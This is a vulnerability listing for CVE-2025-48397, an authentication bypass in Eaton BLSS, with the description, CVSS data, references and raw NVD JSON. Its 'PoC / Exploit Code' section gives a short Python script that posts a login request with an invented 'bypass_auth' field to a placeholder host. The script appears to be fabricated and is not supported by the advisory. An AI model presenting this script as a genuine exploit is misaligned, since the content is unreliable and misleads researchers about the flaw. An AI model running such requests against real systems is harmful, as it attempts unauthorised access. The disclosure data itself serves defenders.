CVE-2025-48397

Description

The privileged user could log in without sufficient credentials after enabling an application protocol. This security issue has been fixed in the latest script patch latest version of of Eaton BLSS (7.3.0.SCP004).

CVSS Details

CVSS Score

7.1

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Eaton BLSS < 7.3.0.SCP004

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

target = 'https://vulnerable-eaton-blss.com'
payload = {
    'username': 'low_privilege_user',
    'protocol_enabled': 'true',
    'bypass_auth': '1'
}

response = requests.post(f'{target}/login', json=payload)
print(response.json())

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-48397
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-48397
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-48397/
[4] VulDB https://vuldb.com/cve/CVE-2025-48397
[5] https://www.eaton.com/content/dam/eaton/company/news-insights/cybersecurity/security-bulletins/etn-va-2025-1030.pdf

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-48397", "sourceIdentifier": "[email protected]", "published": "2025-11-03T09:15:46.057", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The privileged user could log in without sufficient credentials after enabling an application protocol. This security issue has been fixed in the latest script patch latest version of of Eaton BLSS (7.3.0.SCP004)."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-306"}]}], "references": [{"url": "https://www.eaton.com/content/dam/eaton/company/news-insights/cybersecurity/security-bulletins/etn-va-2025-1030.pdf", "source": "[email protected]"}]}}